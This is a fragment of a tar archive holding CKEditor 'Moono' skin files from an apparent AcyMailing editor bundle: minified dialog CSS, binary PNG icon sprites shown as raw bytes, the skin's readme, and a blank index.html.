100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:50%;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5;opacity:.8;filter:alpha(opacity = 80)}.cke_dialog_close_button:hover{opacity:1;filter:alpha(opacity = 100)}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:4px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}span.cke_dialog_ui_button{padding:0 10px}a.cke_dialog_ui_button:hover{border-color:#9e9e9e;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}a.cke_dialog_ui_button:focus,a.cke_dialog_ui_button:active{border-color:#969696;outline:0;-moz-box-shadow:0 0 6px rgba(0,0,0,.4) inset;-webkit-box-shadow:0 0 6px rgba(0,0,0,.4) inset;box-shadow:0 0 6px rgba(0,0,0,.4) inset}.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button:focus,.cke_hc a.cke_dialog_ui_button:active{border:3px solid;padding-top:1px;padding-bottom:1px}.cke_hc a.cke_dialog_ui_button:hover span,.cke_hc a.cke_dialog_ui_button:focus span,.cke_hc a.cke_dialog_ui_button:active span{padding-left:10px;padding-right:10px}.cke_dialog_footer_buttons a.cke_dialog_ui_button span{color:inherit;font-size:12px;font-weight:bold;line-height:18px;padding:0 12px}a.cke_dialog_ui_button_ok{color:#fff;text-shadow:0 -1px 0 #55830c;border-color:#62a60a #62a60a #4d9200;background:#69b10b;background-image:-webkit-gradient(linear,0 0,0 100%,from(#9ad717),to(#69b10b));background-image:-webkit-linear-gradient(top,#9ad717,#69b10b);background-image:-o-linear-gradient(top,#9ad717,#69b10b);background-image:linear-gradient(to bottom,#9ad717,#69b10b);background-image:-moz-linear-gradient(top,#9ad717,#69b10b);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#9ad717',endColorstr='#69b10b')}a.cke_dialog_ui_button_ok:hover{border-color:#5b9909 #5b9909 #478500;background:#88be14;background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#88be14),color-stop(100%,#5d9c0a));background:-webkit-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:-o-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:linear-gradient(to bottom,#88be14 0,#5d9c0a 100%);background:-moz-linear-gradient(top,#88be14 0,#5d9c0a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#88be14',endColorstr='#5d9c0a',GradientType=0)}a.cke_dialog_ui_button span{text-shadow:0 1px 0 #fff}a.cke_dialog_ui_button_ok span{text-shadow:0 -1px 0 #55830c}span.cke_dialog_ui_button{cursor:pointer}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active,a.cke_dialog_ui_button_cancel:focus,a.cke_dialog_ui_button_cancel:active{border-width:2px;padding:3px 0}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active{border-color:#568c0a}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{padding:0 11px}.cke_dialog_footer_buttons{display:inline-table;margin:5px;width:auto;position:relative;vertical-align:middle}div.cke_dialog_ui_input_select{display:table}select.cke_dialog_ui_input_select{height:25px;line-height:25px;background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:3px 3px 3px 6px;outline:0;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}.cke_dialog_ui_input_file{width:100%;height:25px}.cke_hc .cke_dialog_ui_labeled_content input:focus,.cke_hc .cke_dialog_ui_labeled_content select:focus,.cke_hc .cke_dialog_ui_labeled_content textarea:focus{outline:1px dotted}.cke_dialog .cke_dark_background{background-color:#dedede}.cke_dialog .cke_light_background{background-color:#ebebeb}.cke_dialog .cke_centered{text-align:center}.cke_dialog a.cke_btn_reset{float:right;background:url(images/refresh.png) top left no-repeat;width:16px;height:16px;border:1px none;font-size:1px}.cke_hidpi .cke_dialog a.cke_btn_reset{background-size:16px;background-image:url(images/hidpi/refresh.png)}.cke_rtl .cke_dialog a.cke_btn_reset{float:left}.cke_dialog a.cke_btn_locked,.cke_dialog a.cke_btn_unlocked{float:left;width:16px;height:16px;background-repeat:no-repeat;border:none 1px;font-size:1px}.cke_dialog a.cke_btn_locked .cke_icon{display:none}.cke_rtl .cke_dialog a.cke_btn_locked,.cke_rtl .cke_dialog a.cke_btn_unlocked{float:right}.cke_dialog a.cke_btn_locked{background-image:url(images/lock.png)}.cke_dialog a.cke_btn_unlocked{background-image:url(images/lock-open.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked,.cke_hidpi .cke_dialog a.cke_btn_locked{background-size:16px}.cke_hidpi .cke_dialog a.cke_btn_locked{background-image:url(images/hidpi/lock.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked{background-image:url(images/hidpi/lock-open.png)}.cke_dialog .cke_btn_over{border:outset 1px;cursor:pointer}.cke_dialog .ImagePreviewBox{border:2px ridge black;overflow:scroll;height:200px;width:300px;padding:2px;background-color:white}.cke_dialog .ImagePreviewBox table td{white-space:normal}.cke_dialog .ImagePreviewLoader{position:absolute;white-space:normal;overflow:hidden;height:160px;width:230px;margin:2px;padding:2px;opacity:.9;filter:alpha(opacity = 90);background-color:#e4e4e4}.cke_dialog .FlashPreviewBox{white-space:normal;border:2px ridge black;overflow:auto;height:160px;width:390px;padding:2px;background-color:white}.cke_dialog .cke_pastetext{width:346px;height:170px}.cke_dialog .cke_pastetext textarea{width:340px;height:170px;resize:none}.cke_dialog iframe.cke_pasteframe{width:346px;height:130px;background-color:white;border:1px solid #aeb3b9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.cke_dialog .cke_hand{cursor:pointer}.cke_disabled{color:#a0a0a0}.cke_dialog_body .cke_label{display:none}.cke_dialog_body label{display:inline;margin-bottom:auto;cursor:default}.cke_dialog_body label.cke_required{font-weight:bold}a.cke_smile{overflow:hidden;display:block;text-align:center;padding:.3em 0}a.cke_smile img{vertical-align:middle}a.cke_specialchar{cursor:inherit;display:block;height:1.25em;padding:.2em .3em;text-align:center}a.cke_smile,a.cke_specialchar{border:1px solid transparent}a.cke_smile:hover,a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:hover,a.cke_specialchar:focus,a.cke_specialchar:active{background:#fff;outline:0}a.cke_smile:hover,a.cke_specialchar:hover{border-color:#888}a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_over{outline:1px dotted #696969}.cke_iframe_shim{display:block;position:absolute;top:0;left:0;z-index:-1;filter:alpha(opacity = 0);width:100%;height:100%}.cke_rtl input.cke_dialog_ui_input_text,.cke_rtl input.cke_dialog_ui_input_password{padding-right:2px}.cke_rtl div.cke_dialog_ui_input_text,.cke_rtl div.cke_dialog_ui_input_password{padding-left:2px}.cke_rtl div.cke_dialog_ui_input_text{padding-right:1px}.cke_rtl .cke_dialog_ui_vbox_child,.cke_rtl .cke_dialog_ui_hbox_child,.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_last{padding-right:2px!important}.cke_hc .cke_dialog_title,.cke_hc .cke_dialog_footer,.cke_hc a.cke_dialog_tab,.cke_hc a.cke_dialog_ui_button,.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button_ok,.cke_hc a.cke_dialog_ui_button_ok:hover{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:0}                                                   editors/acyeditor/acyeditor/ckeditor/skins/moono/icons2.png                                         0000705                 00000024063 15242051521 0020150 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR     P       IDATx}{pk<43G3Go!$YCoa$Q#pHݥ.w	u/Kyr8K˽fx666lc[,[y̹Lw{fd1U]|qs  `?gԩ3u}I,$ $ vacR5|w]]uϟ+Vv޳gVϛ7olsj @$I (Plٲ~2d7	Xclcl1qHYe9^]1LB<ov\;v;f͚"SO=ǶMY	b"Hᰭ7 89VAF"FDc]]]oRYYYS&$I0ƾ@YwwvAh" 7cxCCC1"
0ƴ	qB!L&dqV+jjjpYxC] 0LpH&d29:11qzڵw0"ٚ) l B ~|Ʒ@Dn|>qu(▯fA066g
[n==HDC˗/ED%fe9]`-c	Ap' 3ƎE1& 1w qh3g|16U&zM7v[oD4W(7
D"qi| k=TY:9sGAjl06csAA$(?BR-i2%hs*ȪQ.KjR0`2  X*8$	DQqܾgϞ}>؝wI˖-wy'L&wŋӏckoooMя~H Z |1y"9s@Dؼy3c16{1֣۷o?f͚FÁaahh(9::G O;A;>[Kf3<L(D(2(ONNbڵܞ={Bp^ di>z D ˗ 3g`Ϟ=r=-> gu3bKp`fJ̞=x("$JKKQ]]<3pؿ|ӦM1LLLG}49k֬48O)"KD'_Ҡ%x)ԭHporv8'rwAZGss?tMϷ~s΍:thY"Q'=u77n \tҖ-[>  c쭬0<#?D"P(W\^488nv=	 p|>h4;,--kii!D= lŔf:Vl6q.&Dyԩ >l~~QH$Dĥs5I$q@DxMEa4}u{ST1IW?2>&"Iu]WE ba5H_c(:.Sg8
 .cL4)1A4jZ`	R,11/!|FEl^@ŀ/*26mXIk
 LYW7%*}11d<((HgnΜ9x衇PRRA #HB!~bi8bXF!  ,{⦵f:QWw[5bf3H$L&ӨhuyAPTTQ+---ZY	Bc`Ճ u81444RIæM%F\suww=ND+ϻX8G2ikk}饗 z$QNE"z[\rf1PkTAAC/,v;v mYX9| g:1c!0V/fk	);βb0pIlذa){{{{w̛7㗿v 7p PZZ,111 7*^YY1!L5gϞťK011 oK3gΝ;I~#DdowU=ppnF@DЎ;..\WH  w߂}"SODӣ>VlllL<S'/i466Rss"Tg׾WtF jkk/ՙ ?}^M8 |+Zx|V m޼i"_'߀z#Uyծ#-\\.RQ-X,J"P!aXtD7c\MalnhqՔiI@IDKDDĩmZaֱnǦȟ~@\' c`@^0B^D4ot	HD^0/4@\`A/ٻEEEcH)Qmن+**KVP`+((ذ|RϷGw,Y`Z#Z/,[c``='[[[bmd29w:sȑcG,o͛B<Gmm-N8x,//16XaÆã1χ&|=+ʚD"'=/褴"^w=c@ZY-H5mF 8ʝ;w~ l`Cgg|Ͷ,**z;ڸv}h```g{{{x˖-OQ)믿>ӳRl C>[:m)񎎎D.|	LS "<s >R~wwwv~hIID4m۷o5 կ*ۈԙCk׮=9Q/NNыDTi"qV'0^`C/Bn'q^!y 7 xo9s& oH} خ&pѣ|cc쾾 D& mc{nSS )ND (eq1oj͜\Ϝ93:%4S6F,HSiҚ|&(kq!+&a_M!+ƥPp&.(498 i샌wy(PPPjDD[ZWS&g\f~\s984` ^|1!(=vp	EDH&x?*#<BV5!`͚50wl6CFzH&bǫdNb#olFII	L&S
 RŋbqnϘEy!"L1>쳟«lX ~
s6`4 Z[[2s57q Kcc!%tIɬj	g/Rgljd޻?b
]ҎK"F Luj^XCC!Jn 3ҹ6bY?007o|> v;dE~sGaaQ w'	D"tvv:l6I1 SNٝN4<ApQ`̙D011a?~<͡PH抚 )7O HN\VVD" I h`ንzEfD|Ii ~*_ 
i.1D`@D<NITsxr7A.ADRP28xE<I}u3v|kd b7Yŋħ ?(?K O$p%->*@D&Bu.Nۑn~`Z2)Edʋ jcLJI"*G8ӑٳUqѺu
y_ ( jhMyfڢs!9aSxjPx<oa )k荓J&ģڕ2	{PXX˳,}= X,W鍬DT|~g?_pW6_Լ!͸Qv8oxE |AVIDS/ho;Ř/0pcjqV_N@ @D:-Z햚Wٯ N	H:)OT°>ar%}@DGGGGw9}YWÜ}ދ|A)ſT}K^_PBl"Ƙ#-XVa U.**~L2)[U uV5D#X ŷN~!&''/1hii^9+b֭[	LGaPRR9s DD"p8,q??e-FðX,P,[Dx<.Wnf,j"l)	J5}J,h3l4clB͉*qۄI$	0!	'-h<$ cݺu^ź:o[jJ=EVg+++@aaa=Dt!TD]"jTqѯS\qHyx-=;ҸlҬ΀@_/T}pF(AzpD͛GMMMdZHX"/($狋鮻lcdǏÇq9%鮫ÁXLR`PqjjjPWW N>@!%'	W`q8ВFex<A2*)I^&	Ľn0EAAAPccc&h4v0L "adSrr+)"jժ-jkkuuuz/[nI+׈ߍ~LD~Qo\ {}S΋QoqY*7`i^BʰSW,&T9HD)V*555TUUE4"HDP(պ[ynN[ZCoDNRpDDD(_Hduu5QHf;KVVVZsij[YY1lSo6JɊQР uR XzV(]b+Vz
W^BI'(@yL{[,ZWĨZis,`0xz0c,YQQ<c/gϞ=1vjmXhӂ իWo޲eˣ ˖-[#)Tltg #]]];cjDd&-ZΝ;AD;(3+L檪ᎎD{{;Ӭ: gg̘1LDڤM姐k׮u8|nAORfb'(|jL?Rvcj'$RU]+^t)-]D" 4׌1٭[YYo2`2PVVUUUk/	hm g+1J<fh{x>wH>lܸtd2ܸq10p@O`#l \<ӓ r?Oq/06W1j\(wDAA,y=|t }g:
@Yw)kQZ& n%"yU'=i
#}Z<F}pZQ]TTҦc Jg}bdgԏQ'˴#	"F|g_t|!df籊j\BF-qo ;kaBJJJ8BBY#d2R2yZ2ZQKO1f>?Ǩ%s>[TWWܹsL&xB&:::hܹ$9\18x㍌A%oלN 1ӧOlɓ'a6! coԷg ʲLk t-Pkkkbkk+r-D5SF,))L)+ P?  O
":^RRYپoWD(d\DX'B=P!=ADWl4UPbIe~*<S}}=,X BFF @.f"ž2477%N(
ΝÛo laH 7-Xr;v6;vHypè@(8$U C<Ͽ
PQQkܹsydVwclV ;m`hhH}2u~\"_ZDy_ЌeZXUTfD`ij	X A s가ƥhPVSP*PWPk5Y(Ebw' P[[5ւ+2ލX>5|S3]]!맫+2Xjs^˓qy4Fz>M3.K7tO].OW/(Y񮮮~^$bDS/455 ϋ>*An=CkHʕ|Zhf#Dp7o~	H2HwVNr#* 鱮AF@\сIK=P;)fPAB{ԔU477:酴ܸ4MKWr%	-s2pstL@|Az"BGZ>..ч+|~]dy+cUa֬Yoz<?LQRR t#,@# gM]]kxx8?cJ7bcl] /^Fx kX*&6hEEEU$t:
 ߏ%KժŋeL여PsD"y {K+`㨯1&4V!HuH555xwY!9nǝ ,))YQ[XHG4'mmoo?p8g^ti4bObϨXc lqx[[q\`hhYvu9 ~-^RwJKβFs;KKK]d/00Bv477g%xR^j
W*e >O  ^W{!n1NIMn*q ())!lu8 5kvD[,+qSQQ= r!ټYiƋMrOggm67 cs]`vJ
$ϟ {1kCgggNLʿN3
 ;tMAc%Mq(##K9Di:W̍i-Ot,RM
5r&rѓDTKDg!klQQ>]1"'/UY/'@}҆~ E]!l6z '^`UΗ̝;wYqq o6@ggm 	R'rw_ggg1OpW$]П\唲y:H?mC'0W8{1H LTbdKy8
@DZX,FDR.3i1l6̘1$"J(:;;`y=X,Oٳ"h}z2Zϰ5I3LXsX,yq>v|9>dt"R+:9***@'<U3jȶVuYVR`bN".0`s 'R/ >RMӃ# _2Fqر	2^={63Ej0Mj_ٯ~Nǃx<d2	"ĉ<e@ ,F%o  IDAT\pEaaa0 G	p8pݨDMMM]`2rypUUUyaN %%%bڵ+ "'w}jll$q]i8kɜk쫏?f},]Dtd&$wffM"oʕu	DR0`'Q7|@΁fKKZǳ)iu#-fd2tܹ/x80\sMKQQV+da20::W_}u R3^ZZp8X8'\` +//oݴi~uctt8s3gΜy `bbCCC|17kkkgΜsϡ@@	EEEKvttgo1>P}O~-C6l6ǏK3ߙ+W'lFDR6d<DDn`C/zr燗j#H|Qy  9	%+)F>-1#G7% z$	h41}~sxx8 O'	444@WWW "(~?,]E=P(JL@,b }fb1y]>,,IX,w}H;;::֏br9k@nt}MH逿a[x@  s*x.]<3[8
3?rX,aZPXX:ʿϜ9`K%d2	ADz=Q=^wt1v'c,OlFSına= syyjbmhhX2AZҢlX"0gU,nkksI^rlloc~####BUnllf2ct:QUU%wTAAN:@  ͆d2ƻ{ӧOl``}tttb1K",1n-<Ϟ;v| ~C1WRk3?jVH3恖[oz!;w MgٖB4EkkfC={B	 thiiq
p'h4	-/8}bg*** C=ҥKBPu<ٳ3<t:qѪc7p1ޥKb\s]I/b~a`~Ej	ZM'=yeVWWG k8<"^8d2I/R+WfڸIm'y<:]TT+.[+K9sy FGGos@Diݞ1K\ijkkzjp)*b柸	3f@ii;	x###«	 PTTSr:Oox:X5$$v*PqGZ-q"|׾&WRB9soVZi*9k9?>xkAH$;wndF,H	"?z{{[c-\D-Mw1dVV"B<cJNH3HꑚM
SeJxU*H	A099ʧp&ǝ 	WiAt0p#a:|A\ksS6RFXsDH.\uBMR
"*T5_pcns6Ai|@G/ |+EԜ"kyvR*:_rx^X֌Ej#u\,g^	Dd3u<f6An7y^]!#d<׬XG2pF\z    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                             editors/acyeditor/acyeditor/ckeditor/skins/moono/readme.md                                          0000705                 00000004741 15242051521 0020025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       "Moono" Skin
====================

This skin has been chosen for the **default skin** of CKEditor 4.x, elected from the CKEditor
[skin contest](http://ckeditor.com/blog/new_ckeditor_4_skin) and further shaped by
the CKEditor team. "Moono" is maintained by the core developers.

For more information about skins, please check the [CKEditor Skin SDK](http://docs.cksource.com/CKEditor_4.x/Skin_SDK)
documentation.

Features
-------------------
"Moono" is a monochromatic skin, which offers a modern look coupled with gradients and transparency.
It comes with the following features:

- Chameleon feature with brightness,
- high-contrast compatibility,
- graphics source provided in SVG.

Directory Structure
-------------------

CSS parts:
- **editor.css**: the main CSS file. It's simply loading several other files, for easier maintenance,
- **mainui.css**: the file contains styles of entire editor outline structures,
- **toolbar.css**: the file contains styles of the editor toolbar space (top),
- **richcombo.css**: the file contains styles of the rich combo ui elements on toolbar,
- **panel.css**: the file contains styles of the rich combo drop-down, it's not loaded
until the first panel open up,
- **elementspath.css**: the file contains styles of the editor elements path bar (bottom),
- **menu.css**: the file contains styles of all editor menus including context menu and button drop-down,
it's not loaded until the first menu open up,
- **dialog.css**: the CSS files for the dialog UI, it's not loaded until the first dialog open,
- **reset.css**: the file defines the basis of style resets among all editor UI spaces,
- **preset.css**: the file defines the default styles of some UI elements reflecting the skin preference,
- **editor_XYZ.css** and **dialog_XYZ.css**: browser specific CSS hacks.

Other parts:
- **skin.js**: the only JavaScript part of the skin that registers the skin, its browser specific files and its icons and defines the Chameleon feature,
- **icons/**: contains all skin defined icons,
- **images/**: contains a fill general used images,
- **dev/**: contains SVG source of the skin icons.

License
-------

Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.

Licensed under the terms of any of the following licenses at your choice: [GPL](http://www.gnu.org/licenses/gpl.html), [LGPL](http://www.gnu.org/licenses/lgpl.html) and [MPL](http://www.mozilla.org/MPL/MPL-1.1.html).

See LICENSE.md for more information.
                               editors/acyeditor/acyeditor/ckeditor/skins/moono/index.html                                         0000705                 00000000054 15242051521 0020234 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/skins/moono/icons_hidpi.png                                    0000705                 00000102050 15242051521 0021234 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR      	    N:    IDATx}wxՙ{f+ZeYeYe[n60`lZ1֐l
ݔ%$aSX	BXZPӋm6`eKzN;?fꖹUK}y{)6s|A2Hc`O7\i6]_q$B<Х^'{ Caկ|$Ȕ ( J)B4|χQٻ6)] 'F@!<dYRHY VRpL&X̵ˡb 	 x @V+C  &	yyyZ0LhinFMMM_H\m .(q駟>Uv(na5׼K_F})e#Zv6lx<E$Ay̝3 eYL)DBB`P	
JI<> 8'D@"@)f!d !"!/zZ	B_^y%iu at8j0A gb3TmBN3o?Z,+W 0ax^p5 >Ν !%)l6eY8L+/G^^$Q(yv/4!'wȗ%	T]	!#S pXRQD
V+P (p\2?R$$+͠s/q "B7oSSS={n;pq~llA8&eY /,jA~ӦMKuk׮}yttBPJ0g¢x7 r|̧W$uQ׿ 5 ֭[AYkkKt$QOBeAѯxaRI%m*c gĬ20Y,I D^> ɬ0>B`ZS%gԔ1###xbV^/}f$| `Q,$܅e$ks͑ YhjueYl6ݘV^I " zp!ws&@eY?Z7 Xp!!$5MP@ \yo?'˙WPh"wߴeJ _IVvF>cu $dX,}wp:B~3Jg} $!U@a( >p?!doe0`0` g|H
hg[Qڥ혵s%	!x`7wT 2Ān٢E  	 Ix|0` Ae۶Te.[NX-8f |8`dd>uk	 5 onAA _n<*-%-,)f  ?i*(K` .PW~Ӧ./<H8K,Yj⸈4to 2Kk͚.7?)+A@ .EB>
M[%bD~՛o!$Վ!&7v$IUUo_! [¢iP>L# tp&DQ,} DQTt -tB	& 0{rY$ahxΡ4O++sip8i'CJ`%CxF	!>U("
r2s"0{vU.PEk>JWB}3l#ŒgYrl	drdkָk:$B].fU@8wwܓ--,*:K02<ܝ-t/fsD!Zw "^H))!lIOv󳨜RJ0`d'+v88 @r(6qݻHq>[׃anmjnj/B :O! tOeC,Im=B,X02ò|尓.2.ojk}UG#
"'Ke0`2`2e='D.4AFfVn7ىǏ9x  E,<-%W/̈T,bEn-F$b
_ |I﹇In7\zP	|P,.,|( uM5 PQ!]L,Ib~ogYLVe3))%$be#I X,x7
>BOyIUG.V_z~`YV9G0']]87(BY|^=]gL  z{۸^^VF`,ʼ ȃCC N}tNRgMRƶmۖ{ｌM-42eY wuw8y;OjmGy gE}f5X5Xtjkh0Q  IZ$MQRd21b*0ͰZl0L8.1yyaFFF@  AqqbJi1G$륗^byܹχbT8fn7
ő!0$}̟'vd2R
G	!WXPҥKH+ށyϮ]$JB0!iB{0wnAShTVW']0+c(B= )CK3>}:.	H45s&S]R\|z{RP^h/(*j,))H0PU]=Z_$OGVn@T
 "N'].8211pf3vӄrja8af8s8SH>y^><'tw)ǘݻveYvfŢeabf_p!SbiQ! w'+?ggap:>}:䊊
l&yzU KWO*SJPJ'g-Ervd5P6$ߘhϝ Uh0`)$r0in<8' n e Жme{C嵍6tѣx:Ymꎎ֙3gto/} φ@i]jQ;s&.^n9gmŸ$ psvK.
`N3f4 K$$\# //sN ۚmyڬV|>`/fK@OP7dYII[~~>,f3^/^~=0k:fFV###ݵ2k𥆆}eeem00L)t:#բf{ｷ턐LS V766+//oq&ٵ{E l-! x͒$!bIcbLr]q$㤚S$?~r<)RSRRRϲlo2@qϟO"&RYeꎎVsIUB,QLbo):P@=nnW*Z%Q5!myyyzΝoJ:dPnXfD}w<88gxxp  ĒE: |'HIDZf̙W8P(2σ໇nlb=z{$Ij+,,TtGy\qy9Xձ"0p8sp\Ow.;cx<Ȳѣ  E3 xԩS+**<*#'J5fN#ϘeoUTRjnWL&өYg%RVT^WHef%WSJߎ*Oƶ$cArWW$0R$8zǑwJi*~IKӧOn/KNKʛ6-݄fP6kdE<q"jKYۥS*[%	-wSF@=##mWR{SU8"ت1~6`0`BNɃł<D0G^|ѹ~{j	Pk.A;4u-(Ƙ[LƄ"]68.RLV0Hٳz#Bnx!Iј,?UdC-]bX,?޸aC1zk~>jLDIWd8eaV-]ac:z~fczeeEݚmڵP`##p=uس lC^rLJ0CjLY!kY|𥆆=$@$l6:6 0L1hIt% MAZИИL$'1ߏ|w<iL^=zhAB!X-&[1A$gL$gL$g11`0`7 Sw$a#y,q1$!

|[s%(VI%J咠&EZiMPvâ
$O~ϝ/Pv0ϟ$i |&,eWTzGk2L&!Lj	&A7]crLPDFI@$ز*d$	,- iLDMwGgA̺@+0.ҫOR 4]%fҤ.W.@AE0>ڙY 3:'g(qNҎ`(4*] [T lv\&}%@e?&u%Kr8 "I^/n7rwCA	Uc݂_]YYGT(k_rRi	p, YQYUu]@PVgan^|%АyeYnu: 89s3,>gY@Ұ㙸֥vuiaAlN:Պ|̘y|>8yss23Y[;vlYSSr`$8vklD3M/n$w-£ ή3 奚kH! T÷CGe
H/S ^P[oyG=~!s	+lJ_SSa?Hz3!2#nJa7l  fⱫ1 Gsh:<rE8'"Qi(ŘTs@j*0`0f L(ҏ v@Z`z G  pBJh<ԾdIcŴi(*.(Νr(t#T{`(r122޾>ڽxZ(n{<3Ò"yyĉ >LRyi^Q^tQ+/ (5ߏ'yfx߶1[oܰj""GD.`R3Ms7,a1q!B`z}PIjI"'0dQ׷#< >Zݑq}]]/=Ѐİu<Ge2pAl^Abǹ%I Яnߣ1N<I?ze0>
